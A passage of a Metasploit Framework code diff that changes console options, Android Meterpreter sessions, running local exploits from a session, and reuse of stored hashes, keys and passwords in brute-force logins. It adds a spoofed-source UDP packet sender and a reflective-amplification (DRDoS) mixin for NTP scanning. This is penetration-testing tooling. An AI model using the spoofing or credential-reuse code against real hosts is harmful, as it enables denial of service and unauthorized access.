spnopt = {:use_spn => send_spn, :name => rhost}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
domain_name, default_name, default_domain,
@@ -14,8 +14,8 @@ require 'active_support/ordered_options'
# Project
#
require 'metasploit/framework/database'
require 'metasploit/framework/parsed_options'
require 'msf/base/config'
# Options parsed from the command line that can be used to change the
# `Metasploit::Framework::Application.config` and `Rails.env`
@@ -73,15 +73,7 @@ class Metasploit::Framework::ParsedOptions::Base
options.database = ActiveSupport::OrderedOptions.new
user_config_root = Pathname.new(Msf::Config.get_config_root)
user_database_yaml = user_config_root.join('database.yml')
if user_database_yaml.exist?
options.database.config = user_database_yaml.to_path
else
options.database.config = 'config/database.yml'
end
options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path)
options.database.disable = false
options.database.migrations_paths = []
@@ -9,12 +9,14 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console = ActiveSupport::OrderedOptions.new
options.console.commands = []
options.console.confirm_exit = false
options.console.defanged = false
options.console.local_output = nil
options.console.plugins = []
options.console.quiet = false
options.console.real_readline = false
options.console.resources = []
options.console.subcommand = :run
}
end
@@ -34,6 +36,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
option_parser.separator ''
option_parser.separator 'Console options:'
option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do
options.console.confirm_exit = true
end
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
options.console.defanged = true
end
+7 -3
View File
@@ -49,10 +49,14 @@ module Metasploit
#
# @return [void]
def self.optionally_active_record_railtie
optionally(
if ::File.exist?(Rails.application.config.paths['config/database'].first)
optionally(
'active_record/railtie',
'activerecord not in the bundle, so database support will be disabled.'
)
)
else
warn 'Could not find database.yml, so database support will be disabled.'
end
end
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
@@ -89,4 +93,4 @@ module Metasploit
end
end
end
end
end
+1 -1
View File
@@ -3,7 +3,7 @@ module Metasploit
module Version
MAJOR = 4
MINOR = 10
PATCH = 0
PATCH = 1
PRERELEASE = 'dev'
end
+5 -4
View File
@@ -311,8 +311,9 @@ class ReadableText
#
# @param mod [Msf::Module] the module.
# @param indent [String] the indentation to use.
# @param missing [Boolean] dump only empty required options.
# @return [String] the string form of the information.
def self.dump_options(mod, indent = '')
def self.dump_options(mod, indent = '', missing = false)
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Columns' =>
@@ -325,13 +326,13 @@ class ReadableText
mod.options.sorted.each { |entry|
name, opt = entry
val = mod.datastore[name] || opt.default
next if (opt.advanced?)
next if (opt.evasion?)
next if (missing && opt.valid?(val))
val_display = opt.display_value(mod.datastore[name] || opt.default)
tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
}
return tbl.to_s
@@ -0,0 +1,33 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
def initialize(rstream, opts={})
super
self.platform = 'java/android'
end
def load_android
original = console.disable_output
console.disable_output = true
console.run_single('load android')
console.disable_output = original
end
end
end
end
@@ -59,6 +59,12 @@ module MeterpreterOptions
end
end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] )
+48 -13
View File
@@ -52,29 +52,65 @@ module Scriptable
end
#
# Executes the supplied script or Post module with arguments +args+
# Executes the supplied script, Post module, or local Exploit module with
# arguments +args+
#
# Will search the script path.
#
def execute_script(script_name, *args)
mod = framework.modules.create(script_name)
if (mod and mod.type == "post")
if mod
# Don't report module run events here as it will be taken care of
# in +Post.run_simple+
opts = { 'SESSION' => self.sid }
args.each do |arg|
k,v = arg.split("=", 2)
opts[k] = v
# case doesn't matter in datastore, but it does in hashes, let's normalize
opts[k.downcase] = v
end
mod.run_simple(
# Run with whatever the default stance is for now. At some
# point in the future, we'll probably want a way to force a
# module to run in the background
#'RunAsJob' => true,
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Options' => opts
)
if mod.type == "post"
mod.run_simple(
# Run with whatever the default stance is for now. At some
# point in the future, we'll probably want a way to force a
# module to run in the background
#'RunAsJob' => true,
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Options' => opts
)
elsif mod.type == "exploit"
# well it must be a local, we're not currently supporting anything else
if mod.exploit_type == "local"
# get a copy of the session exploit's datastore if we can
original_exploit_datastore = self.exploit.datastore || {}
copy_of_orig_exploit_datastore = original_exploit_datastore.clone
# convert datastore opts to a hash to normalize casing issues
local_exploit_opts = {}
copy_of_orig_exploit_datastore.each do |k,v|
local_exploit_opts[k.downcase] = v
end
# we don't want to inherit a couple things, like AutoRunScript's
to_neuter = %w{AutoRunScript InitialAutoRunScript LPORT TARGET}
to_neuter.each do |setting|
local_exploit_opts.delete(setting.downcase)
end
# merge in any opts that were passed in, defaulting all other settings
# to the values from the datastore (of the exploit) that spawned the
# session
local_exploit_opts = local_exploit_opts.merge(opts)
new_session = mod.exploit_simple(
'Payload' => local_exploit_opts.delete('payload'),
'Target' => local_exploit_opts.delete('target'),
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Options' => local_exploit_opts
)
end # end if local
end # end if exploit
else
full_path = self.class.find_script_path(script_name)
@@ -91,4 +127,3 @@ module Scriptable
end
end
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
module Simple
module Framework
+1
View File
@@ -60,6 +60,7 @@ require 'msf/core/post'
# Custom HTTP Modules
require 'msf/http/wordpress'
require 'msf/http/typo3'
require 'msf/http/jboss'
# Drivers
require 'msf/core/exploit_driver'
+47
View File
@@ -49,6 +49,53 @@ module Auxiliary::AuthBrute
@@max_per_service = nil
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_hashes(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
end
end
cred_collection
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_keys(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
end
end
cred_collection
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_passwords(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
end
end
cred_collection
end
# Checks all three files for usernames and passwords, and combines them into
# one credential list to apply against the supplied block. The block (usually
# something like do_login(user,pass) ) is responsible for actually recording
+67
View File
@@ -0,0 +1,67 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for Distributed Reflective Denial of Service (DRDoS) attacks
#
###
module Auxiliary::DRDoS
def initialize(info = {})
super
register_advanced_options(
[
OptAddress.new('SRCIP', [false, 'Use this source IP']),
OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]),
], self.class)
end
def setup
super
if spoofed? && datastore['NUM_REQUESTS'] < 1
raise Msf::OptionValidateError.new(['NUM_REQUESTS']), 'The number of requests must be >= 1'
end
end
def prove_amplification(response_map)
vulnerable = false
proofs = []
response_map.each do |request, responses|
responses ||= []
this_proof = ''
# compute packet amplification
if responses.size > 1
vulnerable = true
this_proof += "#{responses.size}x packet amplification"
else
this_proof += 'No packet amplification'
end
this_proof += ' and '
# compute bandwidth amplification
total_size = responses.map(&:size).reduce(:+)
bandwidth_amplification = total_size - request.size
if bandwidth_amplification > 0
vulnerable = true
multiplier = total_size / request.size
this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification"
else
this_proof += 'no bandwidth amplification'
end
# TODO (maybe): show the request and responses in more detail?
proofs << this_proof
end
[ vulnerable, proofs.join(', ') ]
end
def spoofed?
!datastore['SRCIP'].nil?
end
end
end
+3
View File
@@ -5,6 +5,7 @@
#
require 'msf/core/auxiliary/auth_brute'
require 'msf/core/auxiliary/dos'
require 'msf/core/auxiliary/drdos'
require 'msf/core/auxiliary/fuzzer'
require 'msf/core/auxiliary/report'
require 'msf/core/auxiliary/scanner'
@@ -19,5 +20,7 @@ require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco'
require 'msf/core/auxiliary/nmap'
require 'msf/core/auxiliary/natpmp'
require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii'
+27
View File
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'rex/proto/natpmp'
module Msf
###
#
# This module provides methods for working with NAT-PMP
#
###
module Auxiliary::NATPMP
include Auxiliary::Scanner
include Rex::Proto::NATPMP
def initialize(info = {})
super
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
Opt::CHOST
],
self.class
)
end
end
end
+44
View File
@@ -0,0 +1,44 @@
# -*- coding: binary -*-
require 'rex/proto/ntp'
require 'msf/core/exploit'
module Msf
###
#
# This module provides methods for working with NTP
#
###
module Auxiliary::NTP
include Exploit::Capture
include Auxiliary::Scanner
#
# Initializes an instance of an auxiliary module that uses NTP
#
def initialize(info = {})
super
register_options(
[
Opt::RPORT(123),
], self.class)
register_advanced_options(
[
OptInt.new('VERSION', [true, 'Use this NTP version', 2]),
OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3])
], self.class)
end
# Called for each IP in the batch
def scan_host(ip)
if spoofed?
datastore['ScannerRecvWindow'] = 0
scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
else
scanner_send(@probe, ip, datastore['RPORT'])
end
end
end
end
+1 -1
View File
@@ -230,7 +230,7 @@ module Auxiliary::Report
end
case ctype
when "text/plain"
when /^text\/[\w\.]+$/
ext = "txt"
end
# This method is available even if there is no database, don't bother checking
+18
View File
@@ -69,6 +69,24 @@ module Auxiliary::UDPScanner
scanner_postscan(batch)
end
# Send a spoofed packet to a given host and port
def scanner_spoof_send(data, ip, port, srcip, num_packets=1)
open_pcap
p = PacketFu::UDPPacket.new
p.ip_saddr = srcip
p.ip_daddr = ip
p.ip_ttl = 255
p.udp_src = (rand((2**16)-1024)+1024).to_i
p.udp_dst = port
p.payload = data
p.recalc
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
1.upto(num_packets) do |x|
capture_sendto(p, ip)
end
close_pcap
end
# Send a packet to a given host and port
def scanner_send(data, ip, port)
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
+1
View File
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
+1
View File
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
+1
View File
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
+1
View File
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
+1
View File
@@ -1,3 +1,4 @@
# -*- coding: binary -*-
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

Some files were not shown because too many files have changed in this diff Show More